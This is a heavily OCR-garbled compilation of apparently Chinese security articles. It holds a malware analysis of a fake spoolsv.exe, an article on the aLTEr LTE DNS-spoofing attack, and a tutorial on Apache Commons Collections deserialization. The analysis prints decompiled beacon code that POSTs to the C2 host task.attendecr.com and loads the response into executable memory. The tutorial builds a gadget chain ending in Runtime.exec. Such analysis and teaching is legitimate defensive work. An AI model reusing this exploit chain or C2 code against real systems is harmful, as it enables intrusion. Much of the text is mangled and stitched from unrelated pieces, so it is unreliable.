1C16168|EE FE EE FE|EE FE EE FE|EE FE EE FE|EE FE EE FE RSO S 3 e BRRT0CROROIGDE00
1C16178|9F 77 3F 04|98 FS 00 38|01 00 00 OO|OF 00 00 00 GRS a0 S IE eSS | HEG000Ha00066000
Icdeans 28,0000 90101..04 00 90 000000000215FE10 | 0000000000000000
1C16198) 00 00 00 0C|00 00 00 00/08 CO £4 FRIFE ( 000000000215FE 1S | 0000000000000000
1C161A8 22 E4 FRIFE 07 00 00/AQ 4F E4 FB 000000000215FE20 ( 0000000000000000
LCLE1S8 3 4R B4 PRPE M .. . 2B A B4 PREE 0L .. 000000000215FE28 | 00000000D0000000 =
iCieics A4 LS4 PR PE 00 L RS 4 PR PR Ol 0000000002 15FE30 | 525149442D4E4957 %
1C161D8| A2 CE EBIFE 07 00 00|C0O 75 £4 FBIFE OF DID Lels3 agacoonanaiccerelanagsicasacosnza ‘—I
% =

FIRrEE

0000000002 15| FD? 8

WZISFD?O
000000000215 FCFO
0000000000000001
0000000000000000

{ REP
0000000130065 E 3

_140006290>
Trbp SS].rd‘
+frop-3

St st
SFEHC R LT i o6
0000000140000000
000000000215FA37
000000000215FC70
00000000000000AS
000000000000009
0000000000000080
00000000000000C0 At

590015V, 0000000140000000

| lea rox,gword ptr s
50001

v r8,rd1
Bl <spoolsv. Toc_ 1401

1ea rax,qword ptr Toc_14000C368 RIP  000000014000C3BE <5poo)sv. 10C_14000C38B>
or r8,FEFFFEFFEEFFFEFE
. inc ;5“ g 10c..$4000C3C3 RFLAGS  0000000000000202
!i <pootsy. 10 lze o_Pro a0 ;
| 1ea rax,gword ptr 5 Yoc_14000C3C0 ~
Tea rcx,gword ptr o BA G4 £asteall) o | =
FE B <5p0015v. 5Ub_1300087E0> o7
lea rdx,qword ptr rop-48] e P
c3 06 00| lea r'x,qnord otr <xamword..140078700>] -ty ey
FF . -

5pooisv.

d
Sib_ 1300085405 5t [rquzs] 0000000000000001

. of]

POOTEV.

lvar cod ean

0C_14000C388>

00014000C364 SPOOTSY. &xXe:SC384 #BTB4 <Sub_13000C110+244>

| sime wwinws | ssmme | cumgs | Gam | imeEe | D g | =

= § 000000
gaenzsh 00004645 18E30C14

0000000001C 15730 | & WIN-DIQRIAPZTAS”
157045 192.168.257.1 oo T as
AT 0000000000000000
ASFO68 0000000000000000
A b 00000000000000A8
A b 0000000000000090
TeE0a8 0000000000000000
seons 0000000140008609| EFTE 5900) 5V, SUb_L40008550+89 & SPoolsv.5u
e b 0000000000000000
atnet 0000000900000000
9000000000000090

15FDES 0000000000000
A5TOFS ooooooooooouooox
A 000000000000001
i;:é;g _J FEFFEFFFFEFFFFFE I}
ToEze 9999000903000000 1
15FE4S
15EESRL 00 X 2

287
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' v19 = uy;
i sprintf{&Dest, "%d.%d.%d.%d", v9, vB);
' 23 = BiGh;
} Uzl = Bi6h;
' memcpy{{ int64)&Dst, @, Biéh);
i if { Dest )
I 1
' ull = —1i6h;
} do
b ++071;
; while { =(&Dest + ui1}) 3;
' ¥
! else
J 1
] uvi1 = Bi6h;
1 ¥
| sub 148888F7EB({ mi128i =)&Dst, {const  mi28i =)&Dest, wvi1);
' sub_148808548({ int6L)&xmmword 140678808, {  int6L)&DsE);
] memcpy{{ into4)&Dst, 1, Biék);
l ¥
; ++uld;
' ¥
' while { vi8 <= BxFF );
} ul2 = &stru_ 148678618;
'LABEL _34:
i LeaveCriticalSection{ui2);
=
4. sub 140009C90 &2
ab.
e g C2 8, FHRE
¢ || 0G0000014000DDAA test ail,al
t----o || 000000014000DDAC (] .~ 75 07 §H8 <spooisv.loc_14000DDB5>
! # || O000D00140000DAE|] - 33 CO XOr eax,eax
———e || 0000000140000DE0O|| .~ E9 4B 02 00 00 | BBl _<spootsv.tor_1%
L---»® | 000000014000DDBS || > 66 OF 6F 05 C3 86.-@5|movdga xmm0,xmmword ptr ds
® | 0000000140000DED (] . F3 OF 7F 45 27 movdqu xmmwor d ptr ss: [rbp»—zu Xmmo
o | 000000014000DDC2||. 66 C7 45 37 6F ga\ mov word ptr ss:{rbp+37],606F
|| 0G0000014000DDCS (] . C6 45 39 00 —rmey_byte ptr ss:[rbp+39],0 T
® | 000000014800DDCC 45 33 FF xor risd,r —
e | 000000014000DDCF (| .. 90 nop
® || 0000000140000DDO || > 44 89 7D A7 mov dword ptr-ss:[rbp-59],risd
e | 000000014000DDD4 C6 44 24 38 01 mov byte ptr ss:[rsp+38],1
e || COC0O00014000DDDS 44 8% 7C 24 28 mov dword ptr ss:[rsp+28],risd
® | 0O0O000140000DRE 4C 89 7C 24 20 mov qword ptr ss:[rsp+20],ris
e | 000000014000DDE3 4C 8D 4D A7 lea r9,qword ptr ss:Erbp—ss]
¢ || OC0000014000DDE7 4C 8D 05 0OA 81 05 00|1lea r8,qword ptr ds:[<aTasksx]
¢ || 0C0000014000DDEE 48 8D 15 FB SF 05 00| lea rdx,qword ptr ds:[<asox]
[T 0 48 8D 4D 27 lea rcx,qword ptr ss:[rbp+27]
@ 0000 f E8 92 BE FF FF E&Wl <spoolsv.sub_140009C30>
® 000014000DDFE 4C 8B FO mov ri4,rax
e || 0O0000D014000DEOL|]. 48 85 CO test rax,rax
{----8 || 0O000D014000DEO4 || .v 75 09 <s5poolsv. 10¢c_14000DEOF>
] e | 000000014000DEOS 39 45 A7 I cmp dword ptr ss:(rbp-597,eax
1 ‘ %
e

[<xrr«‘r‘aor d T40065480 =]

word ptr [rbp+37]=[00000000022AFF30 "Om™1=6D6F

. Text:000000014000DDC2 spoolsv.exe: $DDC2 #D1C2 <sub_14000DD70+52>

wmE | mm#z | W 3

wumm e | wumms | @em | cammEe | 9 s |

EHE

 0000000140066420
0000000140066430
0000000140066440
0000000140066450
0000000140066460
0000000140066470
0000000140066480
0000000140066490
00000001400664A0
00000001400664B0
00000001400664C0

00000001400664D0
ANANNNNT ANNERAFN

06 00 o0
00
00
00
14
74
74
74
ale]
00
00

00
nn

task. attendecr c
+5can. attendecr.c —
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HE=/FERER C2 1548, h0HE task.attendecr.com:80/tasks BHERFEEEE., WIREB

RNESTE K,

oLy Eadl =] &= lullLlEll.h Esdl || U=l s sy || U=l s Esd | 4=| ds sl | U4=| Ls Esdl | U=l Ls Ml e
48| sub_148815B74{(unsigned int)u12);

4ifhInternet = InternetOpenA{"”Hozilla/4.8 (compatible; HSIE 6.1; Windows HT)", @, @i6h, @iGh, @)
421if { hInternet )

L3l

44 wild = sub_140083D9B4({vii1);

45l wilk = InternetConnectA{hInternet, v8, vi13, Bi64, Bi6k, 3u, B, Bi6h);

11, uls = ull;

B7| if ¢ vin )

ng| ¢

u9 v16 = HttpOpenRequestA{uih, “POST™, ui10, Bi6h, Bick, Bi6h, Bx84200200, Bich);
ca if ( vi6 )

51 {

c2 sub_148@3R8E4B{szHeaders, Bi6h, 2048i64);

53 sub_148009FEQ(

oy sZHeaders,

55 "Host: %s\rin'

Y "User-Agent: Windows-Update-AgentConnection: Keep-Alive\riyn"

57 “Content-Length: %d\rin"

58 “Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/=;q0=0.8\r
59 “Accept-Encoding: deflateyrin™

68 “"Accept-Language: en-usirin®

61 “Pragma: no-cachekrin",

62 uB,

63 (unsigned int)ad);

i} if ( a5 && a6 )

65 {

|ZBBEL_23:

121 if { a8 )

122 {

123 u26 = {char =)Uirtualalloc(@i6s, 0x200000ui6h, Ox10600u, Ox40u);
12y v2? = -1;

125 28 = w26,

126 dwHumberOfBytesRead = -1;

127 while { v27 )}

128 {

129 v29 = InternetReadFile{ui6, &u28[*u%], Bx1880u, &duHumberDfBytesRead);
138 v? = dwHumber0fBytesRead;

131 #y9 += duHumberOfBytesRead;

132 ifF { tu29 )

133 {

134 InternetCloseHandle{hInternet};

|35 goto LABEL_31;

136 ¥

137 H

138 3

139 goto LABEL_29;

148 ¥

Y| H

142 3

e

. -

5. sub _140007F10 £f2
IheE: S /RiEsE C2 task.attendecr.com/status B3RE, task.attendecr.com:8080 i

O/Y/error, /log BR.
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S Ry

L
il st 52
cnp eax, 1
jnz short loc_ 148888814
s | e
S [l st 5
lea r8, alog "“/log™
jnp short loc ﬂcB”TFE! loc_140067F0D: lerror
lea r8, afrror
| T
L 19
] 1 s 2
loc_1400807FCE: loc_140067FESL:
nov [rspsBB@hevar 78], ® nov [rspet@ahevar 78], 0
nov [rspsBiighruar 88], edx nov [rspri8@hrvar 88], edx ; int
lea rB, astatus 3 "/status”f [1ea rdx, atesdg ; “BERat
lea rdx, ase He 1 lea rox, [rbopsSTheszServerMane] ; 1pszServerNane
lea rex, [ropeS7hevar 28]
inp short loc_158087FF8
L
L B ]
[l e 52
loc_140007FF8:
lea rax, [rbp+S57n+Dst]
cnp [rbpeS7hsuar 48], 180
cRovAb  rax, qword ptr [rbpeSih+bst]
nov quord ptyr [rsp+0Bdhevar_98), rax ; int
lea #9, [rbp+SThevar 78] ; int
call control by domain
)

ZeiztnFE
BEAZ Ti

B, LAEZ [AEITERR .

| [ @ | @ ee ) | B s | . pe | i]rs---' | s 2 | BEes- | Bes- 2|
8528 ; struct _RTL BRITICRL SECTIDN stru_1486878528
i 8528 stru_1u80?8528 _RTL_BRITIBRL_SECTIUH 7>
8528 ; DATA XREF: Sub_1409@?CCB+DTO
8528 5 SuD_1&ﬂBB?CCG:100_14@98?0?4?0
“ |8558 ; struct _RTL_CRITICAL_SECTION stru_ 146878550
8550 stru_1408878558 _RTL_CRITICAL_SECTION <?>
8558 ; DATA XREF: Sub~14883?CCB+DETO
8550 ; sub 1466687CC8:1oc 146687E4570
“|8578 ; struct _RTL_CRITICAL_SECTION CriticalSection
2578 CriticalSection _RTL_CRITICAL_SECTION <?>
8578 ; DATA XREF: CriticalSection 8+Dfo
8578 ; CriticalSection 8:1loc 14888628410
“|85A0 ; struct _RTL_CRITICAL_SECTION stru_1486785A0
85040 stru_1486785A6 _RTL_CRITICAL_SECTION <?>
85A08 ; DATA ¥REF: CriticalSectionmﬁ+1ﬂF?0
85A0 5 CriticalSectiUn_ﬁ+21570
“I85c8 ; struct _RTL_CRITICAL_SECTION stru_1488785C8
8508 stru_1488785C8 RTL_CRITICAL_SECTION <?>
85C8 ; DATA XREF: CriticalSectiOnuﬁ+DETO
85C8 ; CriticalSection 8:loc 14886637570
" |85F8 ; struct _RTL_CRITICAL_SECTION stru_1486785F8
85F0 stru_1408785F8 _RTL_CRITICAL_SECTION <2>

. BDATAH NOSC . AL GRACS A Gl on 4|-nnnr~256‘|

=101.x]

fs to stru_1400785C8

ok mdru_ 1400785C8;

ok 1pCriticalSection
rex, stru_1400785C8;

CnucalSecuon U loc 140005}5 : “lea

' [N I1pCriticalSection

' o ‘CrH.u:ngecu on 0:loc— 140006392 lea rex, stru_1400785C8; 1pCriticalSection

' o MaintD4 stru_1400785C5; lpCriticalSection —
' o local net_relate: loﬂ%&ﬁﬁ%— Pﬁhrﬁ*ﬁ& stru_1400785C8; lpCriticalSection ;I:
' o local_net_relatetF3 lea rex, stru_1400785C8

]

Cancel I Search Help

T,
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be=1] _Ll.'l_ I.lyl.l: PI.I o
arg_ 8= quword ptr 8
mouv [rsp+arg_8], rbx
push rdi
sub rsp, 48h
mou rdi, rcx
lea rcx, CriticalSection ; 1pCriticalSection
call cs:__imp_EnterCriticalSection
cmp cs:quord_ 1400878768, O
jbe loc_1488862C1
s
loc_ 14886862C1: ; 1pCriticalSectir
lea rc®, CriticalSection
call cs:__imp_LeaveCriticalSection
lea rcx, stru_1488785C8 ; 1pCriticalsSe
call cs:__imp_EnterCriticalSection
cmp cs:quword 1486878718, 0
ibe loc_140806392
ZiERXHR
HEE INgE
Sub_14000B550 BB A4 S 30 FES 1P
sub_14000C8CO FIERIFESTFE 1P
sub_1400067B0 BTz
Sub_140009C30 B c2 i, TEHAEHITEN
sub_140007F10 B c2 TR

ba L E e

UEFFCAMA, R$T ms17-010 igiR+h THIR S EISEIBX SIS IR R 2R,
sz, gz TUASHIGIRFSE. NFRATHEY 2017 5 3 BHZEIn<s 2018
F6H, BRYXREETANMA, MRES TR, JWEY ms17-010 iR

B, XBARRRZHEIIRATFER, MEEWVESHZEZIRIFIEFELDR, MeEaHE
FEENFTEL

MNRGEIR, TAFRXLRA

1. UHEERER ghost 7%, (BEEARAASERTHEHEX ghost {FZEHNT .

2. {£F3 msdn,i itell you ¥ERIEESERRTRE, WhAETERE THIRGERREMMRETER
HAARERNT, FEESETHNT.

3. ENBEMARSET, EXRTERMRIIHNT BEFRIRSS[HITHN T B,

4, FoIEHED, RSAFE ST EFTE, BiREENAYSEIERRR TR
B
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5. FERIRERAEESESNTE, RENECRENFERRINSNERSS
it, REASGERNZE,

6. RIMEZSEIRARE, BUFRREVR TRERLBIRIIE,

BT ERESTER L, B TR A 2O BRI, FEUFHEE,
RLBRBITHTIMIAA, BEER—TURA, TR G Bk,
Z2M\NE

EIRRESRTERAR (RISE: 'R ) , TR RHEHSEDZS"
PRI, (B RRR S RATAIER S S HTHED RPN R R L DEAR,
BEAFLSNRSER, FLOUETRRANELET, AEH. S8, BT, %5, +
KEEA, FES. FTBRSEHTUEFRMREROSENINRRST R, REMER
AR, B, ZSWERNSSHERSHHESORIES, ZENERFACHINES
AEHBFS, SHENE. SR, SFSSENERETFATRMIERARERNZS
HRZLF R,

ZE\EM: http://www.safedog.cn/

ML A ENERKENEFRARETSWARS HS, —iEnn+.
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[iRiEIS3Hr]

iR 4G PMEABELXEZBINE -——— alTEr TS
& ahwei
[R3EE: [R£ZE] https://www.anquanke.com/post/id/150488
—, XFEENaLE

AT E IR AR SRR MK, 3T WIFI RGN B EREZIEERET.
WikE B AN E Era s EHATE WIFI R4, (EFRRHTELSMwE, R0 SSID &1
—ANERE wifi, #id DNS spoof AR EZ EEHNEAEEHEIE CME0IaIES, M
TERE R RIS X R a1,

AT, ERTIENI— AG MR, XWTF LTE MK, BalukEls WIFI $IRIE
MINENSR, EEREA. THEE 360 MASR AR RIS AR,
—. XF LTE BRERR

GSMA BA% 6 B 27 BRMTiZRE, IHASFNE—IahizmmtT T o, U
ERARITRR R R RS,
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. ABOUT WHAT WE DO MEMBERSHIP SERV
GCSMA

Mobile Security Research Hall of Fame

Welcome to the GSMA Mobile Security Research Hall of Fame.

The GSMA’'s Mobile Security Research Hall of Fame lists security vulnerability finders that
have made contributions to increasing the security of the mobile industry by submiting
disclosures to the GSMA or its members. It is the primary mechanism for the GSMA to
recognise and acknowledge the positive impact the finder has had on the mobile industry by
following the GSMA's CVD process.

The Hall of Fame also facilitates the nomination and recognition of other finders that may have
macde significant discoveries of vulnerabilities to individual GSMA member companies

Entry to the Mobile Security Research Hall of Fame is purely optional and is at the discretion
of the finder, the GSMA and/or the nominating GSMA member

On behalf of the mobile industry, we would like to thank the following people for making a
responsible disclosure to us and recognise their contribution to increasing the security of the
mohile industry:

Date  CVD# Name Organisation & Link
Yuwei Zheng
Lin Huang Unicorn Team, Radio Security
23/2i2017 0001 Haogi Shan Research Dept., 360 Technology
Jun Li httpz//unicorn.360.com
Qing Yang
19/6/2017 0003 Viadimir Wolstencroft BAIKE LTD

David Rupprecht

Katharina Kofils Ruhr University Bochum and
27106/2018 0008 Christina P, New York University Abu Dhabi
ristina Fopper https://www.alter-attack net

Thorsten Holz

1 GSMA CVD K=&

ZRAZ LTE thnERE, mERER LTE FREESIER A TIRE RS SR AR,
MNTFRFENSE, SOEEXNERATINE, FigEGisHEmEE—+, EBHHTTEER
P, XEEEIXHEER LTE WG eNodeB 5% (FHE) ZETEHEIRHITING,
iR RItiRRE, ATLAESAEFE IP 8RS, FERXNRRG=/9 ALTER IE(2], &
AEXRAIR, TLELLREKEER, X LTE BFi#1T DNS spoof I,
=. XF LTEZEONARESEHE

LTE o= HEATERES, MAEENATERRAFPNWLSEEE, flIUESIESE]

TUISERY P HRSCEUE.

LTE RIS MERIF/E PDCP ELil, FTEMEMES I LTE Z=9#E0 (uu #0)
Z=HIEFIAFE PDCP ENNsEnEE
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BPa

X
[11]
3
o
=
[+
)
o
(%]
il
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L
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UE (in shielding box)

JNsrssi®

UE Component

"-"" Component

4 LTE BRHHREE

SCILX NI RZOMBER LTE hgk (Relay) , BIfEIZER eNodeB FIFEHLZ/EEN—
AN LTE R, TR —1ME eNodeB F1— M UE (&g, UFH) HE. T75E
&9, iIZ5" eNodeB 5EL UE (FAFPFL) &IZRVEEER D UE 247, 1Bid(h eNodeB &
EEEESE UE, Hi74EE8, HL UE BIzER eNodeB RIXAVEUENIMHE(N eNodeB £, i@
Jf UE RiXLRIZERH eNodeB, X R UE SEERZAREGEEISEE 4R,

4.2 SEMRE

Z LTE MESERAFEMNEZRN, ERERE, BhafmAiets0 LSEmERE,
&2 IP #R3CEIE.

421 LTEINEFIE

NERBLEE, DENTIIBEREENELREFEN— bit, SEEHER, DHEF
E=O—3LA FRY bits AW, XRITFNMINESEFFAN—MIE. NXTMRES, FELTE
FRFERRINERN, UFESNESCHITEN, AFASERTARE, SEMSEEEPHIRE
BBRYEID, RS TTARE, DA ERIETESE OARNESEANRIEMN. SATIXA
BEENFRIUIBEHAEH, M LTE BREEiRIaFRENER=ms.
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IV(Direction,==*) ]

EEAX
Plaintextm | —Pe
antextm EEA2: AES

. —

l Ciphertext c I

Sender

IV(Direction,=**) J

$ EEAX
EEA2: AES
l Key ]

Manipulated
Plaintext m

: Receiver

5 LTE AFESEINE/ R E

SNERfR, LTE RORIVINEZISIES, WHIREMESFIA AS key FE—RIINSH~EEH
i, WIERSIEXREEEEEIEN ¢ HERNBMIERIIZESOR ¢ REISEIIAX m,

Nz

Keystream XOR m = ¢;

e

Keystream XOR c= m;

RiXmAE I (EFERERY AES key BIMEEIRIEIEAF4E keystream,

422 RIMEETEEIES
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......................................................

: EEAX
i [ Plaintext m ]—-D€ EEA2: AES

h J
Sender [ Ciphertext ¢ ]
s s e i e W ey
[ Manipulation Mask ]—D€9
i L
i Active [ Manipulated J
Attacker Ciphertext ¢’

_____________________________________________________

[ Manipulated ]
Plaintext m’

--------------------------------------
______________________________________

6 BMAKEEZEN LTE AR EHMIEINE/ R EE

6 NIRAELEE Z/GR LTE R EAENERERSE, RERTERER mask 1%

Mt ¢ SFERVREIRSGR ¢, EERRHERSEIRBSGRA m' .

X MR LR Y

mask XORc =c' ;
Keystream XORc" =m' ;
KT ERHES
Keystream XORc¢" XORm =m" XOR m;

Keystream XOR ¢’

XOR ( Keystream XOR ¢c) = m’ XOR m;

Keystream XOR (Mask XOR c¢) XOR ( Keystream XOR¢c) =m’ XOR m;

AJ153)

Mask = m’ XOR m;

ANERANEHIER ARG, AT LUSZIREGEES Mask,

MIXS TEaNEuEMLS, [F

—MNEER, F—1XIEAY DNS —i2EER, REZER, FrLAKREHLUSUL DNS £
1RERIBASZ. AT, EHE DNS spoof Wiy, RFEIZH UE &iXAI DNS i53KHY IP bk
mE, M IP #tbilfE PDCP HiEEFRIRBHERER, XEFESREFERZ. WEEEN

By,
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423 ez DNS £3EE,
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XIFTITHERE , /&80 DNS fRSSE5tili%is UDP REGFIERER A 0, DNS EIRH{KAB M.
FRAGFNEER, Bl LTE A EEIERIN R ET, BN WEHIRIEREIATE,
h. WHET

TESREWIENS, DFTESEEMAIE, THUHS
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Stay logged in

No account? Create one!

Z2F (www@nquankggom )

B 8 WHERE R, REEIZEZRFRLED

JRARNSTbL -
https.//www.youtube.com/watch?time continue=18&v=3d6lzSRBHUS8
7~ EBREE

BT izimER LTEARES|IN, SXIFAEM LTE EXMRAIEKEZE, g0 NB-10T,
LTE-V, LIRAKRER) 5G (RAIRBEEEHIERIBFPE ML RIP) | #a500.

5 WIFI T DNS spoof $9@IgE4EEY, LTE 5[0 DNS spoof SLIIME RAEAES,
EIRESEEADEE WIFI ZX, LTE EHAREG WIFI IiE—H, TETRETHEEMNA,
EILCHFFSERIMERE AR, ARINRANBSEERLL WIFI FRIIBINEER, RFMEEX,

BT ZERETEIRRIRE  HTU_EEMYETXS DNS v FBRIBHFENE, #40 DNSSEC,
DTLS SHEXBEIGIN. MHE—FRTIZRIEN LTE iR,
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S 3k

[1] 360 PegasusTeam, HJIEDD wifi IZTE
http://www.freebuf.com/articles/wireless/145259.html

[2] Breaking LTE on Layer Two David Rupprecht &
https://www.alter-attack.net/media/breaking lte on layer two.pdf
[3] LTE AFENE LHARAERAF
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ApacheCommonsCollections RRFFliR RS

Y& lightless@MLSRC
[FR3RE:  [SERBAA] https://mp.weixin.qgg.com/s/PMns5TFa8dZnVwNIYupAyQ

0x00 CommonsCollections

R EHET Spring-tx BEHIIAYERE, BidiaiE RMIF0 INDI SRIEIRSS im FH0E
= class FBII R F7ML#HTT RCE, RFAR—TFRIM—MiRER, FIA Java FIRSIHHERRA
TEESS, HEBSRFIIRHEIT RCE, RRSHRRENE 2015 SFHIMA
Apache-commons-collections B HIMAIR FFMLIERR, XM Java Rt TRZSEME
FREEARIEIEES, HEFR.
0x01 TransformedMap

EM_ERAEINIRXRHIBEREZBET TransformedMap # InvokerTransformer i&
XY,

TransformedMap XN RIS Map #H TR AR, FIANZBFA NED Map FRIFEMERT,
AR TR TN CE ) IFRIS LR FRRT Map HITRLER,

Map transformedMap = TransformedMap.decorate(map, keyTransformer, valueTransfo

BT decorate EREBRATLAE—NENRRYT Map BEHRA—A TransformedMap, SE_NMSEHISE
ENBEDBIRIRLE key BEEFN value BERAIREMANRIE; Transformer @— MO, TR
transform(Object input) J3, ARD BT A TSERRAYZEHMEE, FRRRAN_ EARBAER transformedviap f5, S15R
BT EHPRUER key BY value, EPRVAFINIRIAY transform J3iA KB T —LETIRIR(E.

ANRIBEFT—RFNIIRIRIE, TJLUBIEEN — ChainedTransformer SRSEHL, REEEAE
A= Transformer #{¢HR0 7] :

304


https://mp.weixin.qq.com/s/PMns5TFa8dZnVwNlYupAyQ

e 24222018 -5 2 1Y

Transformer[] transformers = Transformer(] {

ConstantTransformer...),

InvokerTransformer(...)

Transformer chainedTransformer = ChainedTransformer(transformers);

Map transMap = TransformedMap.decorate(rawMap, , chainedTransformer);

CommonsCollections tBEBERNE TIFEHEIM transformer, THRF LIRS, HPE—
InvokerTransformer +3788, AJIABERFINASNEFRESRIRE, EEFHAIRITHSRIX
i,
0x02 Run exec

£ Java F#TEpS—ARIEIE Runtime.getRuntime().exec("command”)SRHITER<S, WNSREAEEERN
transformedMap BHAATaR S, MREE—MEHRE ChainedTransformer ST exec BREL,

ERSEZ R, BAEHE—T ChainedTransformer 1 InvokerTransformer 2YMATER, TERIBS/A

chainedTransformer FF&H{TESHA

Map normalMap = HashMap();

normalMap.put("foo", "bar");

4. Map transformMap = TransformedMap.decorate(normalMap, transformChain, transfor

mChain);
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Map.Entry entry = (Map.Entry) transformMap.entrySet().iterator().next();

entry.setValue("test");

Object transform(Object object) §{
i < this.iTransformers.length; ++i) {
ATransformers[i].transform(object)

FILABRIXMEF, 2 LIRS RIEA T —RZREEA  BEZIFTERIZSIRSTRK,
FIREIRZRTY object, RBEZIEME, MAISZERT.
—FE%E—F InvokerTransformer E’g?&%ﬁﬁﬁ%

InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = dName
this.iParamTypes = paramTypes
this.iArgs = args

t transform{Object input) {

. iParamTypes)

.iMethodName +

FHEERTETIEIT getClass(). getMethod. invoke()EiH{TRET, ERFFBBLENTE.

EFAIERT chain B, REZSCIRIN B ZHATRIT

((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("ifconfig")

ﬁ1‘$ﬂgﬁiﬁg, FEL\,{ chain E’ﬂ%—i?}uﬁﬁﬂy Runtime ?ké, ﬂl«li@ﬂﬁl%ﬂ'ﬂ ConstantTransformer

SIREY, FFLA chain BMERIXAMET:
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Transformer[] transformers = Transformer(] {

ConstantTransformer(Runtime.

Transformer transformChain = ChainedTransformer(transformers);

ETEMEFET InvokerTransformer SERGTER getMethod J5i%, SR getRuntime, LAULSEREE
Runtime.getRuntime, InvokerTransformer #2=1841, HBIRBRALENETR, SEERE, BASH. L
FE—MBEEINZE A getMethod; T getMethod J5iARIEEE /9 getMethod(String, Class...), F{iISERRFRIAT R
RENT— String, FRLABZNSEINZE A new Class[] {String.class, Class[].class}, SB=AMS#0N79EF
getMethod BHESEFMENRISEL, FRLARIZSJ9 new Object(] {"getRuntime”, new Class[0}FRTLAT .

FXE chain EERIXMEFT:

Transformer[] transformers = Transformer]] {
ConstantTransformer(Runtime.

InvokerTransformer("getMethod", Class[] { . , Class[].

ject[] {"getRuntime”, Class[0]})

Transformer transformChain = ChainedTransformer(transformers);

ERERINIZREHEA IS LA invoke #1 exec BY InvokerTransformer, A chain BsEA 7.

Transformer[] transformers = Transformer]] {
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ConstantTransformer(Runtime.
InvokerTransformer("getMethod", Class]] {

ject[] {"getRuntime”, Class[0]}),

InvokerTransformer("invoke", Class[] {Object. , Object][].

Object[0]}),

InvokerTransformer("exec”, Class]] { . }, Object[] {"open -a Cal

Transformer transformChain = ChainedTransformer(transformers);

HANRERE—MERLE chain BY TransformedMap, FURTLAITAES T, ATLABEE FEANT

AR T -

/7 EYEE R Map
Map normalMap = HashMap();

normalMap.put('foo", "bar");

/ REIERT Map 5% TransformedMap, FHEISEZTHES T 9EIEENXAGEE chain

Map transformMap = TransformedMap.decorate(normalMap, transformChain, transfor

/) ZRIEH TransformedMap FHI—1ME, TS




L2%=-2018 FHT-55 2 #8

Map.Entry entry = (Map.Entry) transformMap.entrySet().iterator().next();

entry.setValue("test");

PATERAT

t main(String[] args) t
Transformexr[] transformers = new Transformer[] {
¢« ConstantTransformer(Runtime.class),
'w InvokerTransformer( new Class[] {String.cla Class(].
2w InvokerTransformer( ew Class[] {Object.class, Object[].
'w InvokerTransformer( Class[] {String. 3 >w Object[] {

3;

Transformer transformChain = « ChainedTransformer(transformers)

2 a
Map normalMap = new HashMap() b0 O

normalMap.put( , s O

Map transformMap = TransformedM rmChain, transformChain)

Map.Entry entry = (Map.Entry) t r().next()
entry.setValue( )

Base main()

Base

Process finished with exit code ©

0x03 RCE?

FIHRIALE, BINMELER THLITHRSHIER chain, #HBFRZ/ pocChain, I
ERERI—MMIEUTRMENZE, HFERSIHERFFMLCIIANA, AT RCE T :

ZEEE T readobject J3i%;

1ZZR1E readObject J3i AR E T HANFFIMLISSEIL T pocChain B TransformedMap;

ETM HRSHINE, IIIREIT AnnotationinvocationHandler 2, ElFF—/NEEE memberValues
& Map 3REY, FEXNMTEAJLIEEERHFIRE, FRILZIP, A readobject J3,E5HRY
memberValues FHIEG—IREART setvalues J3i%, —YIEIESE, RE2MAENIZAREISEM, B
EEFRLRAOERFARI, IHATRETERS, J9HA AnnotationinvocationHandler MABFIARE

MACIBA—RE, M EBIXEBERIAS:
309
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w AnnotationFormatErron(

X EPFIREIRY setvalues IEKRERT , BTREHBENE, BEANREEERANEE,
BINAR o1 s NREIE, FrLAFRIIRER — N EAAISSREREIRERE, EREM %
Z|T ysoserial XANRE , REAIRIEFAT CommonsCollectionss XA payload AJLATESEIE1T,
FREWEXA poc IMIEFK, LBFHKET— AR,
0x04 RCE!

CommonsCollections5 FFIFBAYE BadAttributeValueExpException IXNEE, IG5 EE FIX P SEAIAEE:

javax.management;

java.io.lOException;

java.io.ObjectinputStream;
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BadAttributeValueExpException Exception {
/* Serial version */

serialVersionUID = -3105272988410493376L;

/*7(-
* @serial A string representation of the attribute that originated this exception.

* for example, the string value can be the return of {@code attribute.toString()}

4

Object val;

/**
* Constructs a BadAttributeValueExpException using the specified Object to

* create the toString() value.

* @param val the inappropriate value.
7
BadAttributeValueExpException (Object val) {

val = val == / : val.toString();
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28. * Returns the string representing the object.

29. v

30. toString() {

31. "BadAttributeValueException: " + val;

32.

33.

34. readObject(ObjectinputStream ois) |IOException, ClassNotFoundE
xception {

35. ObjectinputStream.GetField gf = ois.readFields();
36. Object valObj = gf.get("val", )i

37.

38.

39. val =

40. (valObj

41. val= valObj;

42. (System.getSecurityManager() ==

43. || valObj Long

44, || valObj Integer
45, || valObj Float
46. || valObj Double
47. || valObj Byte

48. || valObj Short
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|| valObj Boolean) {

val = valObj.toString();
{ // the serialized object is from a version without JDK-80719292 fix

val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();

BIE— MU, IFEERE, EPE—MABZE vol, MEES T readobject 777X, AR
IEE T HLENR val 1 LazyMap, BBAFEEAVEAR valobj tostring(HIBH RS ZEVEF
Lazyl\/lap.get()EF'El’\J transform I%l%&o

mE— TR BRI RS

FaiE—™ BadAttributeValueException X35 exception ->

exception RY val TEIZES LazyMap Y entry ->

& entry By toString EHENFFFEH ->

AR LazyMap HY get 75iZ8REXN— M FAERY key ->

WA transform FiEHITEHRS

HEHR RN R PSR -
BadAttributeValueException.readObject ->

TiedMapEntry.toString ->

LazyMap.get ->
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ChainedTransformer.transform

FTLAFE S e — =AY Map:

Map innerMap = HashMap();

innerMap.put("foo”, "bar");
Map lazyMap = LazyMap.decorate(innerMap, transformChain);

lazyMap.get("foo233");

XEENT — PN AFERISE foo233, HEA entry.getValue() E=TRBUX N AFERYHE
XIMAYERS, @D transformChain KEIEXSNMAVMEFH BEI Map #, BRI FEEXA
5, FEEIEL ERHE] pvE, iLHERFICLUSH B toString RIBHREBZEIREL
AFERRLRLA payload, FTLAUXEESINT BIMI—AEE Tiedvapentry, fHFIEIBAY entry
EEBEEL, (BEALUE—MER entry i T490E, ERENIHMEEREAM getValue()73i%R]

Map innerMap = HashMap();
innerMap.put("foo", "bar");
Map lazyMap = LazyMap.decorate(innerMap, transformChain);

TiedMapEntry entry = TiedMapEntry(lazyMap, "foo233");

ET R ITEFEMNE— BadAttributeValueExpException SERFFFFIY,, XBB MNRIE(E,
MEINTEFAERZEMIE,

